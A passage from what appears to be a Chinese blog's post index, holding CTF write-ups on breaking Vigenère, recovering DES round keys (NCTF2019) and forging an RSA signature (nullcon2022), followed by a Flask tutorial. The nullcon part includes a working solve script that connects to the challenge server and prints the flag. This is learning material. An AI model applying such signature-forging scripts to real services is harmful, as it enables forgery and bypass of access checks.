pzniwtJtEAxfFOGcDTuIFgnzMpemfrkyIxztIpEsSBGCpDJGDdzsCaHDofxIBMvDbHIgnxwbepBpsBJzlmHtuHLfHMtDzxorysNYEPnpyFqNsKmHFgGlKwqEtDsEMpbxGruBXnDPgWlQkbTBxlBOsfryKNHHntgnvHsCZsDpIIvteKIGSCTsIGeupLhbDLDaxzlexBrHWKmqCqxEzrpmjCcxMthlNBPsQitPgSwDFXEhwyqdHfrNBPsQbCBukEvxtytCtxDDciHpBoMeHFgGpFCXyivoJJyulypuFQpJQgvdzntlqzetvwmeLBOBCjIgoolFBepBplAzoprwruzKuwCykJsAlFssiJosfrMuyGzusMyxzFCetxqiwwCpAHoyoSvEJqyvAwdzqshEMDfXBrHHGfrytBzMBbwxIaHOpeeHqcKzurFgnswAdzfGoKIobrxnLCTosrjoCwFbCjDnBTlcsOGzwUfDPusIGCepwzitNzoxBrLwCfpLfDswBlylIhuxlsvIHMsKxpQrvlQrkrBpsiHzliarNGHonMwBPQnpTyLaIKwbCCAAwSwtPAtlRIvlssfKIyzEFyNvDlxBuupHCqCDxnwOzhvuozCQuwCiywvAfylpntNzxeMBFroiDCdolFmFHfHsEMEpjusLoHeHFgnqsuizkutxzrphxnGvNsHCdEEamfosIsqTloCNuCBFpGBqkyQCetsvTxzEimHtQwSizGfCtKrcEmtyMvyuxItLoAuwCiywvAfylNoKClwiNBFsSuwConzACXyiCoJNlzeHLNvHovghDswHclqAovAEiiSsuzKpuDdEEACpmfsivTzvwuLuBXuwGpqEGCeprlhuIEiiLvxsVbHMxoCKqbrtIovAsfvBBLGDbCBekxwxspwIoCzjpyLvxsNorCvyzLqfDyxmuNsfwuvxbNJAJlEDLFXEhwyqdEimHxczKkJQvGlLleTxpitdrbzyuyFRpBCoyCwxcsjGdEPriLyEyUDuHMooxGAbEnrkuODTlyGICJuwCfyFyqlqkBeYHypxGnxoSzDScxJExopxweIvteMEAIKgvGPAEALqbEmxnwNrprHnMHzsIyiktFcepsplBJqbwOqxsMtwCikGwvblpxsIosfrMuyvDmsFgBsswazzIaDyDbmxVNGQbxLkxraCpDyprJDyhxIEuwMJzLqGeznkHmptICpemxvNrznCLgkCCriwjsmuNsfvynwvDexLoInGjqAtrkuOlohNBIyNvIKABpvqryyxnwClueHqJISjIMpwJznXoIDnJTzvAuANwSJHyknjGDZlsLeqMtueQuCzDPzyARFJAvFuIhEPrirIJsCTstEqxysvfDxNoKMCjhylIIVpCRioEQxrCtLnxJCtiIEuBXuwGpqdznhpuIhqIrjrAnLCTosRjyFyqAtiNoKHpbrCGQvzuNMwClAmVzzGeqGwzeLrHHFpxLikHsHXyDLhuMpBvyLIIQfpJnIrGrkrmDmuvquiLJuFCtHFgkDCnaxjneqCTteCqcADbCRkDEGxFHfHnJGJjrAGIvDsXPgkwDHativoxJxfezGyFVbGBuRFJAvFuCoMdDbmxgBsSixLiCDLjoEnCgiCpseHnHrApJEjDswAqthzeJvyekIGvoBlDLvrpyxaofBcqMCpyMrFxTtIGpDtEnQsjCsxzHbpErxoKmIFgGlQjozzCdyOEjpFFBsFpIFgBzOwezwHervnlXBrHGGfvMvyyACPsjLaLzousGruBCJLyxootjZvGDyyOmfkuANCQbxLnsvwjYlxIaHyTofOpEsStXQyolJClRtsABGEiiJnLsMuHypnxGCepwHaDypwiLLvCCzLCpDzNnolsssJJzevCtBHTosCtDswAlzkDfJCpdeLEIIRfAQqDswHtzzAdDOrfxMBuyDeIMvrpKtfytGaDTEimHtvISJHRwmvsAlFssoDOsffyAwvEpGOwsEwjtsnAeYBzutLrNHXtDymsyyFbEjHpuxtbpFLGMMfrIcxoEHmlsIscTsvrNvHuGbIPgkwDHdlAtmuLFjxynFCSpuNtyEwlqttCiDvHbCvHNWFpIQqkvwmXyDLaOdojhHGwoQfIFqErzRcpqIsEylnrBnJDXbAJqpDMmapsIhuRlzsFqjvNfqCmoALpltsvaHJFohuAxoQpJLfSHsBalrCnuvCceQyCBFJuCnDDGmXxswaFKJjjSBOKzoIRquyGFqsjIrKOsJhIANyMpLUjITLFXDoJsJOsbxMuyzNpzCfCzvjjysxcuOsfAuLMvDltNvqzAwdlwDuDylohuEIIMexLjoCturphDaJvyeeFyaCCJLGurJGDZzzAdLzmfiHGBsQfiFcDDsuiTrvoyIrusNrFzzcDSvSnGDiouGorvmmCNrFzXpJUjkEamfofutuMTxiHGBCLfpLfrzORdzyHisFlohuyFoMeLFcDDuqlzqXmIPAqsMrxHNhDRqxpPCclqAavOpsMArNCTuDDjoCwkrENsoDOqfiFyCyDjIgtolDuvotCtjCluwNHztCptQpDtFCbCjHtCzEpsGHwvQjvFvxzOJizyDfFzzqpyrMDDdxynvJLqfDtCeFNJdlInHoKzHRiEJLqbJmpvuCpsiEryDRbHIkxrEnfqNBgEDyheJCFMLzHCnpHznkTlDbqxvusMpBCNmCCzDdwyqprqeHdEtwOpBoRuJNknBMnpEnDnyIxzsJvHwNoXKgkyzxtotNoKFypAQuuHXpJPgqzAwdEtsoJDwmCIHxCHuiFgkyKFbCnHyEPoprNVNvHozgcwmMCezBsoYFypAcFQszsxRukDLDmtiFuuNEjsHQVwRoIyullvjpEmtruNEpjNuyAAvIFgupwyplxziDBxfeFBNCErJCuDtGwpEtDHuyCpzyBPsQmpQvclLDoofNwyOsulCFYBFmxQjlltnqsfIsyIEimMAyKOjrRwBpznpHwxtyIrTlyJuGOstRvIlxobnytdrPEwiLLACNeAMqutFpxyDLaOJyfxCzyKGfCQjoHwwqEtIhuGlemyFLCNnLyADswqbwqsoMItoxBrIHGfGUkxrVKXDptdCzHieNVNvNvvFvkmGDqlqAtxDDtxOszWIvHRhsyABepiIeBGtokSBOoApJRKntvwqvsDwMCluxBrBsKmIMukJaovzzLaDOEpoHBQHGfIPwDsamlyyznERHieNVNvHozydyFLrqTrHoHMJJxIyxGNnpLAzpGyipfqoKOtuEvBOHzmAgmxzOrpTxDrJJqnmMFyJDsNzqnJaClwipbEPEFzyAIzCTIPcnwsCbCfCdQxvmiSsIFHoHRcxnwRqsnCkYzGfrGvMGSipRiyovjjXfJryxpJxMsOBMzSMpDpNnoEjAlqIJcsxLuBXuwGpqTxHlFiDyEPDueLGGwRtxLioGwAvmtsy 1.Kasiski实验,Ci实验分析key的长度​ Kasiski实验通过查找相同的子串(3个字符以上)来猜测可能的key的长度。比如两个相同的子串的距离相差8位,那么key的长度应该为8的因子,这样当我们有足够多的数据时就可以基本确定key的长度了。代码来自于https://github.com/ichantzaras/creamcrackerz。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354from math import sqrtdef _repeated_seq_pos(text, seq_len): seq_pos = {} # entries of sequence : [positions] for i, char in enumerate(text): next_seq = text[i:i+seq_len] if next_seq in seq_pos.keys(): seq_pos[next_seq].append(i) else: seq_pos[next_seq] = [i] repeated = list(filter(lambda x: len(seq_pos[x]) >= 2, seq_pos)) rep_seq_pos = [(seq, seq_pos[seq]) for seq in repeated] return rep_seq_posdef _get_spacings(positions): return [positions[i+1] - positions[i] for i in range(len(positions)-1)]def _get_factors(number): factors = set() for i in range(1, int(sqrt(number))+1): if number % i == 0: factors.add(i) factors.add(number//i) return sorted(factors)def _candidate_key_lengths(factor_lists, max_key_len): all_factors = [factor_lists[lst][fac] for lst in range(len(factor_lists)) for fac in range(len(factor_lists[lst]))] # exclude factors larger than suspected max key length candidate_lengths = list(filter(lambda x: x <= max_key_len, all_factors)) # sort by probability (descending) sorted_candidates = sorted(set(candidate_lengths), key=lambda x: all_factors.count(x), reverse=True) return sorted_candidatesdef find_key_length(cyphertext, seq_len, max_key_len): # find repeated sequences and their positions rsp = _repeated_seq_pos(text=cyphertext, seq_len=seq_len) seq_spc = {} for seq, positions in rsp: seq_spc[seq] = _get_spacings(positions) # calculate spacings between positions of each repeated # sequence and factor out spacings factor_lists = [] for spacings in seq_spc.values(): for space in spacings: factor_lists.append(_get_factors(number=space)) # get common factors by descending frequency, # which constitute candidate key lengths ckl = _candidate_key_lengths(factor_lists=factor_lists, max_key_len=max_key_len) key_len = ckl[0] return key_len ​ Ci实验: ​ 重合指数:设一门语言由n个字母组成,每个字母出现的概率为 Pi ,则重合指数是指两个元素随机相同的概率之和,记作 CI =∑ Pi^2 (1<= i <= n); ​ 经分析,英文中,一段文字是随机的话,CI =0.0385 ;如果这段文字是有意义的,那么 CI=0.065 (约等)。 ​ 所以在获得key的长度之后可以通过分组计算CI再取平均值与0.065比较进一步确定key长度。 ​ 公式: \\sum_{i=1}^{n} \\frac{fi(fi-1)}{L(L-1)}​ L 是指长度,f是指相应字符出现的次数。 1234567891011121314151617181920212223242526272829import stringimport processingimport freq_analysis as fafrom sys import maxsizefrom const import EN_ICdef _ic(letter_counts): numerator = sum([letter_counts[l]*(letter_counts[l]-1) for l in string.ascii_uppercase]) text_size = sum(occurrences for occurrences in letter_counts.values()) denominator = text_size*(text_size-1) return numerator/denominatordef find_key_length(cyphertext, max_key_len): min_diff = maxsize key_len = 0 for candidate_length in range(1, max_key_len + 1): groups = processing.get_blocks(text=cyphertext, size=candidate_length) columns = processing.get_columns(groups) ics = [_ic(letter_counts=fa.get_letter_counts(text=column)) for column in columns] delta_bar_ic = sum(ics) / len(ics) if EN_IC-delta_bar_ic < min_diff: min_diff = EN_IC-delta_bar_ic key_len = candidate_length print('KEY_LENGTH: ' + str(candidate_length) + '\\n') print('IC by column: '+str(ics)) print('delta bar IC: '+str(delta_bar_ic)+'\\n') return key_len 2.频率分析​ 通过密钥长度进行分组,如len(key)=8,则可以分成8组,每一组对应的密钥字母是一样的,这样我们就可以通过字母遍历来算出最符合字母频率的情况,这样单个密钥字母就基本确定下来了。即计算明文中的各字母的频率与英文字母中的频率的吻合程度。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051import processingimport stringfrom const import EN_REL_FREQdef get_letter_counts(text): text_upper = text.upper() letter_counts = {} for index, letter in enumerate(string.ascii_uppercase): letter_counts[letter] = text_upper.count(letter) return letter_countsdef _get_letter_frequencies(text): letter_counts = get_letter_counts(text) frequencies = {letter: count/len(text) for letter, count in letter_counts.items()} return frequenciesdef shift(text, amount): shifted = '' letters = string.ascii_uppercase for letter in text: shifted += letters[(letters.index(letter)-amount) % len(letters)] return shifteddef _corr(text, lf): return sum([(lf[letter]*EN_REL_FREQ[letter]) for letter in text])# 当解密出的明文取到最符合英文字符分布的组合的时候,sum值是最大的def _find_key_letter(text, lf): key_letter = '' max_corr = 0 for count, letter in enumerate(string.ascii_uppercase): shifted = shift(text=text, amount=count) corr = _corr(text=shifted, lf=lf) if corr > max_corr: max_corr = corr key_letter = letter return key_letterdef restore_key(cyphertext, key_len): key = '' blocks = processing.get_blocks(text=cyphertext, size=key_len) columns = processing.get_columns(blocks) frequencies = _get_letter_frequencies(text=cyphertext) for column in columns: key += _find_key_letter(text=column, lf=frequencies) return key 3.读取密文,getkey_len,getkey,解密1234567891011121314151617181920212223242526272829303132333435363738import kasiskiimport icimport processingimport freq_analysis as fafrom const import (SEQ_LEN, MAX_KEY_LEN)import stringdef _decypher(cyphertext, key): letters = string.ascii_uppercase shifts = [letters.index(letter) for letter in key] blocks = processing.get_blocks(text=cyphertext,size=len(key)) cols = processing.get_columns(blocks) decyphered_blocks = processing.to_blocks([fa.shift(col, shift) for col, shift in zip(cols, shifts)]) decyphered = ''.join(decyphered_blocks) return decyphereddef attack(file, method): with open(file) as f: cyphertext = f.readlines() key_len = 0 if method == 'kasiski': print('Applying kasiski examination\\n') key_len = kasiski.find_key_length(cyphertext=cyphertext[0], seq_len=SEQ_LEN, max_key_len=MAX_KEY_LEN) elif method == 'ic': print('Applying index of coincidence examination\\n') key_len = ic.find_key_length(cyphertext=cyphertext[0], max_key_len=MAX_KEY_LEN) key = fa.restore_key(cyphertext[0], key_len) decyphered = _decypher(cyphertext[0], key) print('Chosen key length: '+str(key_len)) print('Restored key: '+str(key)) print('Plaintext: '+str(decyphered))attack('encrypted/hostiletext.txt', 'kasiski')#attack('encrypted/hostiletext.txt', 'ic') ​ 实际上,普通的维吉尼亚密码(基于26个数字—字母对or基于ascii字符表)可以直接用集成好的网站直接破解:https://www.guballa.de/vigenere-solver 所以上述题目可以直接用网站梭。 三.维吉尼亚变种类型","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"Vigenere","slug":"比赛/Vigenere","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/Vigenere/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"Vigenere","slug":"Vigenere","permalink":"http://example.com/tags/Vigenere/"}]},{"title":"NCTF2019-Reverse","slug":"NCTF2019-Reverse","date":"2022-04-09T13:11:44.000Z","updated":"2022-04-09T13:57:40.000Z","comments":true,"path":"2022/04/09/NCTF2019-Reverse/","link":"","permalink":"http://example.com/2022/04/09/NCTF2019-Reverse/","excerpt":"​ 这题考察的是对des子密钥生成算法的理解,基本思路是通过第十一轮的子密钥(8位未知,进行爆破)倒推第一轮(初始置换)后的密钥,然后通过第一轮可以正向推各轮。这题加深了我对des密钥算法的理解。脚本来自于网络。","text":"​ 这题考察的是对des子密钥生成算法的理解,基本思路是通过第十一轮的子密钥(8位未知,进行爆破)倒推第一轮(初始置换)后的密钥,然后通过第一轮可以正向推各轮。这题加深了我对des密钥算法的理解。脚本来自于网络。 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465import copyimport pyDeskey='********'d=pyDes.des(key)key10=[0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1]PC1=[56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3]PC2=[13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31]movnum = [1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1]#对应16轮中每一轮的循环左移位数def gen_key(C1,D1,k): tempc=C1 tempd=D1 for i in range(k): tempc = tempc[1:] + tempc[:1] tempd = tempd[1:] + tempd[:1] tempCD1=tempc+tempd tempkey=[] for i in range(len(PC2)): tempkey.append(tempCD1[PC2[i]]) return (tempkey,tempCD1)#轮运算得到下一轮子密钥def re_gen_key(C1,D1): tempc=C1[-1:]+C1[:-1] tempd=D1[-1:]+D1[:-1] tempCD1=tempc+tempd return tempCD1 #轮运算得到上一轮CDdef get_key(CD): tempkey=[] for i in range(len(PC2)): tempkey.append(CD[PC2[i]]) return tempkeydef RE_pc2(): CD1=['*']*56 for i in range(len(PC2)): CD1[PC2[i]]=key10[i]#初步还原CD1 results=[] for i in range(256): # 因为有8个bit是没有被选来置换作为子密钥的,所以需要遍历这8位 temp=bin(i)[2:].zfill(8) tempi=copy.deepcopy(CD1) d=0 for j in range(len(tempi)): if tempi[j]=='*': tempi[j]=eval(temp[d]) d=d+1 results.append(tempi) return resultsf=open('cipher','rb')flag_enc=f.read()results=RE_pc2()for i in range(len(results)): temp=results[i] for j in range(sum(movnum[:11])): temp=re_gen_key(temp[:28],temp[28:]) # 这里是从第十轮倒推到第一轮初始置换后的密钥(56位) tempK=[] Z=temp for j in range(16): # 拿到初始置换以后的第一轮 就可以依次推出各轮,并进行PC2置换得到每轮的子密钥 tempx=gen_key(Z[:28],Z[28:],movnum[j]) tempK.append(tempx[0]) Z=tempx[1] d.Kn=tempK if b'NCTF' in d.decrypt(flag_enc): print(d.decrypt(flag_enc))#b'NCTF{1t_7urn3d_0u7_7h47_u_2_g00d_@_r3v3rs3_1snt}'","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"对称密码","slug":"比赛/对称密码","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/%E5%AF%B9%E7%A7%B0%E5%AF%86%E7%A0%81/"},{"name":"DES","slug":"比赛/对称密码/DES","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/%E5%AF%B9%E7%A7%B0%E5%AF%86%E7%A0%81/DES/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"DES","slug":"DES","permalink":"http://example.com/tags/DES/"},{"name":"轮密钥算法","slug":"轮密钥算法","permalink":"http://example.com/tags/%E8%BD%AE%E5%AF%86%E9%92%A5%E7%AE%97%E6%B3%95/"}]},{"title":"nullcon2022","slug":"nullcon2022","date":"2022-04-09T08:44:15.000Z","updated":"2022-04-11T01:00:24.000Z","comments":true,"path":"2022/04/09/nullcon2022/","link":"","permalink":"http://example.com/2022/04/09/nullcon2022/","excerpt":"cookielover","text":"cookielover sign.py: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354#!/usr/bin/env sagefrom Crypto.Util.number import bytes_to_long, long_to_bytesfrom Crypto.PublicKey import RSAfrom secret import flagimport sysmsg = 'I love cookies.'key = RSA.importKey(open('privkey.pem','r').read())def int_to_str(n): if n == 0: return '' return int_to_str(n // 256) + chr(n % 256)def str_to_int(s): res = 0 for char in s: res *= 256 res += ord(char) return resdef sign(msg : bytes): #I will not talk about cookies. if b'cookie' in msg: return 0 #no control characters allowed in message if any([c < 32 for c in msg]): return 0 return pow(bytes_to_long(msg), key.d, key.n)def verify(number : int): if str_to_int(msg) == pow(number, key.e, key.n): return flag else: return 'wrong signature'def loop(): while True: print('Choose an option:\\n1:[text to sign]\\n2:[number - signature to check]\\n') sys.stdout.flush() cmd = sys.stdin.buffer.readline().strip() if cmd[:2] == b'1:': print(sign(cmd[2:])) elif cmd[:2] == b'2:': print(verify(int(cmd[2:].decode()))) else: print('Wrong input format')if __name__ == '__main__': try: loop() except Exception as err: print(repr(err)) pubkey.pem: 1234567891011121314-----BEGIN PUBLIC KEY-----MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAmekPySQOJ6diE8G7gsegAmb0zB9MetstsnGhELcsXRY2JL2HRNrfxMtUiyTu8Ep2Cb5hbyUTQB+q+Cc1JBlvxXViqXt1hlUQzXKMf0KZXti55brfvGVBOYGVTd+I7T8NHE5c9SuE+H5bMC9UnTcOY26znTed+LmnEOT6OYUimx/sqPlzmQ0rTrx0P6UaN+td1VBxZFOaCB/3Q69BtwtC2Yw1oSeYG+ZXAOYuuPauRCOaeWH8V47ZTzN4IJjEaym12veS9QXahO3QgGbw6+ItbxCByTiF49NM+ifzMd7GnExMdOF7zxvFhb9BoHhkeOxzmOGPQT1UYFD+XXoceFeFBe/rKlz0U5dngETNbykG0yO6lIe2ju0sbMZyInVBoDLglDPsY3E9G0nXhGJkDesMwQRp/1JI/DWMrS1bX7jRfZXwohYR0lD43NZvyQesf/QKjWC+OXFfqQbc4dj/k/O3FIIJJ7uVm8HVtnpWMoH05+TFlc27zpS6J6nZghDlLBXJAHDVwu7w2Sn3fnI6IuMwwNgBcMmmSGtAKkuv8NS0CYm13qi8IPFi5UdlAeQR1I1tzPPMiH8DOxIi2IB7kib7oHGx1lyP3iaMME8/ruqfJMT+eDkpI/3Xa2ovI+jYxzzXaKl3lhJCleaoDigZCULoasTxe4pfUc9nkgDYg2JSxFsCAwEAAQ==-----END PUBLIC KEY----- ​ 题目实现了一个交互系统,即RSA的签名和验证。要获得flag,需要把’I love cookies.’对应的签名值发送给服务器验证,但后端有限制,包含’cookie’字段的信息不能给予签名。那么解决方案就是把I love cookies对应的long分拆为几段相乘,分几次签名,最后把得到的签名相乘模n即可。当我们把对应的long分解后发现,无论如何组合,至少会有一个部分转字节以后包含控制字符,而控制字符会引发return 0,签名中止。所以这里的解决方案是将能组合转为非控制字符的因子先组合,最后还剩下一个2,只需要找一个字符(比如, 对应的ascii码为44)和2相乘,相乘以后值为88,满足大于32,可以通过验证。但是这样三部分返回的签名值的乘积实际上是I love cookies 和,相乘的值的签名。要得到目的签名,还需要单独提交一次,去签名,返回的签名值的逆乘上前三部分的积就是我们要找的签名值。最后将这个签名值提交获得flag。 ​ 脚本来自于hash小可爱: 12345678910111213141516171819202122232425262728293031323334353637from pwn import *from Crypto.Util.number import *p = remote('52.59.124.14', 10301)n = 627899638620348165952388990522362943219167647703242555126529002762314824033856763779600883952817660826446193366180558404001743645736309588454828883085902718305151841122152492702789177388248278843151899277145366368497644816958932681194310493530735472278784913119515955737461424614381265051048363121603834763504324915645740970410151356775466957231658895331944477355558254745407352049029866844585699779615276876659171453548611760317083667131480857534167022256190387128240235942362100638580848234239994626580879318259554019293030331932909851115390444612931324590544216595532828392984535075519617908613735309535581818936579393182356672567588204231940696703902104442372182127756608305971949766096755370359256602310166623759046402739891910186296934546060117757733337481788717663789292120669952863240116069789409662118797757976324875166693470960188730286439673715780705054208551961776647376233377578685773466781298871624832223010430897754327042048709909951786009950779126218407497861049677284100165082818633096819398841034676325246453744426596960679469392024438909063059041031005468380750983790438412987580747308496905480963722915339379525187096258241609862382136863831836079727256351264365036343487660547253741547621662792064883655640794203s1 = 6673 * 5s2 = 189344417922901s3 = 30051184098398543 * 2 * 44def int_to_str(n): if n == 0: return '' return int_to_str(n // 256) + chr(n % 256)pay1 = '1:' + int_to_str(s1)p.recv()p.sendline(pay1)m1 = int(p.recvline()[:-1])pay2 = '1:' + int_to_str(s2)p.recv()p.sendline(pay2)m2 = int(p.recvline()[:-1])pay3 = '1:' + int_to_str(s3)p.recv()p.sendline(pay3)m3 = int(p.recvline()[:-1])pay4 = '1:,'p.recv()p.sendline(pay4)m4 = int(p.recvline()[:-1])msign = m1 * m2 * m3 * inverse(m4, n) % npay5 = '2:' + str(msign)p.sendline(pay5)p.interactive()# ENO{F4ct0r_and_Conqu3r!}","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"nullcon2022","slug":"赛事/nullcon2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/nullcon2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"}]},{"title":"Python开发——flask入门","slug":"Python开发——flask入门","date":"2022-04-05T13:14:45.000Z","updated":"2022-04-05T14:34:04.000Z","comments":true,"path":"2022/04/05/Python开发——flask入门/","link":"","permalink":"http://example.com/2022/04/05/Python%E5%BC%80%E5%8F%91%E2%80%94%E2%80%94flask%E5%85%A5%E9%97%A8/","excerpt":"Flask入门1.认识flaskpython后端框架之一,轻量级,可以自由组合需要的组件。 官网:https://dormousehole.readthedocs.io/en/latest/ 安装:pip install flask -i https://pypi.douban.com 版本:python3.5以上","text":"Flask入门1.认识flaskpython后端框架之一,轻量级,可以自由组合需要的组件。 官网:https://dormousehole.readthedocs.io/en/latest/ 安装:pip install flask -i https://pypi.douban.com 版本:python3.5以上 2.学习内容(1)flask路由,用来匹配url(2)request对象 请求的参数等(3)模板(4)flask数据库(5)flask表单(6)ajax相关(7)其它(8)管理系统案例 3.flask路由路由的作用就是把浏览器请求额url和后端资源(页面,函数方法等)相匹配,当浏览器请求相关url的时候能够访问到对应的资源。 这里要注意几个地方: 1.methods,当指定get或者post请求方式的时候,必须利用该方式才能访问到 2.若两个资源在同一个路由下,即同样的路径,只会执行先定义的方法。 12345678910111213141516from flask import Flaskapp = Flask(__name__)@app.route("/hello",methods=['GET','POST'])# 这里的路由是在根目录的hello下,所以只有url/hello才能访问到hello world# 加上methods以后,浏览器需要用指定方法才能访问,get一般就是在浏览器栏直接传参,pot则通常是表单提交def hello_world(): return "<h1>Hello, World!</h1>"@app.route("/hello",methods=['POST'])def hi(): return "<h1>hi,hi!<h1>"# html可以渲染出标签的效果if __name__ == '__main__': app.run() #访问/hello的时候只会执行hello world 3.若两个资源不在同一路径,但是方法重名,则会报错,如下: 12345678910111213141516from flask import Flaskapp = Flask(__name__)@app.route("/hello",methods=['GET','POST'])# 这里的路由是在根目录的hello下,所以只有url/hello才能访问到hello world# 加上methods以后,浏览器需要用指定方法才能访问,get一般就是在浏览器栏直接传参,pot则通常是表单提交def hello_world(): return "<h1>Hello, World!</h1>"@app.route("/hi",methods=['POST'])def hello_world(): return "<h1>hi,hi!<h1>"# html可以渲染出标签的效果if __name__ == '__main__': app.run() # 运行时会报错,也就是要避免方法重名 4.变量规则前端传给后台的url中可以包含变量,后端读取这些变量进行特定处理。 1234567891011121314151617181920212223from flask import Flaskapp = Flask(__name__)# @app.route("/user/<id>")# 这里路径里的尖括号标明它是个变量,当url传入id时,会根据id的不同值采取不同反馈# 注意默认通过url传入的值是str类型,所以匹配的时候也需要和str进行比较,或者用int转换类型以后再比较'''下边<int:id>是一个转换器,用于接收特定种类的数据类型int接收正整数,float接收正浮点数,string接收不包括斜杠的文本,path接收包含斜杠在内的文本'''@app.route("/user/<int:id>")def index(id): if id == 1: return "python" elif id == 2: return "django" else: return "flask"if __name__ == '__main__': app.run() 5.自定义转换器转换器可以自定义,作用相当于自己指定不同的正则表达式来限制浏览器输入的数据。 123456789101112131415161718192021222324252627282930# 自定义转换器from werkzeug.routing import BaseConverter# 这个类是所有转换器的父类from flask import Flaskapp = Flask(__name__)class RegexConverter(BaseConverter): def __init__(self,url_map,regex): # 调用父类方法,先初始化它 super(RegexConverter,self).__init__(url_map) self.regex = regex #regex为str类型 def to_python(self, value): print("to_python is called") return value# 将自定义的转换器类添加到flask应用中,类似于字典格式app.url_map.converters["re"] = RegexConverter#@app.route('/index/<re("1290"):value>')# 这里的1290是作为自定义转化器的参数regex传入,regex类似于一个正则@app.route('/index/<re("1\\d{10}"):value>')# re还可以直接传入类似于正则表达的形式,比如这里就规定了参数必须为1开头+10位数字的格式def index(value): return "lzh"if __name__ == '__main__': app.run() 流程:新建自定义类——>将类以字典格式添加进url_map——>接受浏览器传入的参数,若符合正则,则将浏览器的值传给服务器的函数处理,否则,直接终止,给浏览器反馈资源错误。 6.渲染form表单form表单就是前端提交的某种特定格式的数据,用于传给后端处理并进行数据交互。 前端的表单: 12345678910111213141516171819<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Title</title></head><body><form action="" method="post"><!-- 默认的form表单提交是get请求,若想限定为post,则可以在 action 后面添加一个method="post"--> 账号: <input type="text" name="name"> <br> 密码: <input type="password" name="password"> <br> <input type="submit" name="submit"></form></body></html> flask表单渲染: 1234567891011from flask import Flask,render_templateapp = Flask(__name__)@app.route('/index',methods = ["GET","POST"])# 若要接收post请求,这里也要加上post方法和前端对应def index(): return render_template("index.html") # 这里render_template会给浏览器返回html渲染的页面if __name__ == '__main__': app.run() 7.request对象request对象的作用就是指定后端允许接收的数据传输方法,比如get,post等;同时request还负责读取前端传输的数据,交给服务器进一步处理等等。 12345678910111213141516from flask import Flask,render_template,requestapp = Flask(__name__)@app.route('/index',methods = ["GET","POST"])# 若要接收浏览器的post请求,这里也要加上post方法和前端对应def index(): if request.method == 'GET': return render_template("index.html") if request.method == "POST": name = request.form.get('name') password = request.form.get("password") print(name,password) # 服务端将request.form方法接收的值打印出来 return "This is post called" #这里会返回给页面if __name__ == '__main__': app.run() 效果: 8.重定向123456789101112131415161718192021# 重定向 状态码302 在访问网页的时候,跳转到其他的网页,但之前的网页仍可用from flask import Flask,redirect,url_forapp = Flask(__name__)@app.route("/index")# 当访问url/index的时候会直接调用redirect跳转到百度页面def index(): return redirect('https://www.baidu.com')@app.route("/page1")def page1(): print("redirect!") #return redirect("/page2")# 方法1,直接访问对应拼接的的url return redirect(url_for(page2)) # 通过函数反向查找url路径@app.route("/page2")def page2(): return "Have redirected!This is page2."if __name__ == '__main__': app.run() 更多用法参考:https://blog.csdn.net/lovedingd/article/details/106671247 9.返回json数据给前端将python对象转化为json对象并返回给前端,有两种方法,1是用json.dumps(data,ensure_ascii=False)直接转化,2是用flask的jsonify方法。 1234567891011121314151617from flask import Flask,make_response,json,jsonifyapp = Flask(__name__)app.config['JSON_AS_ASCII'] = False@app.route('/index')def index(): # 方法一,利用json.dumps将python对象转化为json对象并返回给客户端 data = { 'name':'张三' } # response = make_response(json.dumps(data,ensure_ascii=False)) # response.mimetype = 'application/json' 指定为json格式 # return response #方法二,使用flask框架中的jsonify() return jsonify(data) #要使用这种方式,需要修改配置项:app.config['JSON_AS_ASCII'] = Falseif __name__ == '__main__': app.run() 10.abort函数abort函数主要是用来给前端返回一些异常抛出的页面,比如访问的权限不够等。 123456789101112131415161718192021# abort 在网页当中抛出异常from flask import Flask,abort,request,render_templateapp = Flask(__name__)@app.route('/index',methods = ['GET','POST'])def index(): if request.method == ('GET'): return render_template("index.html") if request.method == ('POST'): name = request.form.get('name') password = request.form.get('password') if name == 'ZhangSan' and password == '123': return 'Login successfully' else: return abort(404) # 客户端接收一个404页面if __name__ == '__main__': app.run() 11.自定义异常当abort的时候会跳转到errorhanler处,并且返回自定义的错误页面。 12.模板的基本使用这部分主要就是把后端的数据传给前端进行渲染,包括字符和列表在前端的模板语法。 123456789101112131415161718# 模板 jinja2from flask import Flask,render_templateapp = Flask(__name__)@app.route('/index')def index(): data = { 'name':'张三', 'age':18, 'mylist':[1,2,3,4,5] # 数组类型数据 } # 这里的data返回给前端模板渲染时使用 return render_template("index2.html",data=data)if __name__ == '__main__': app.run() index2.html: 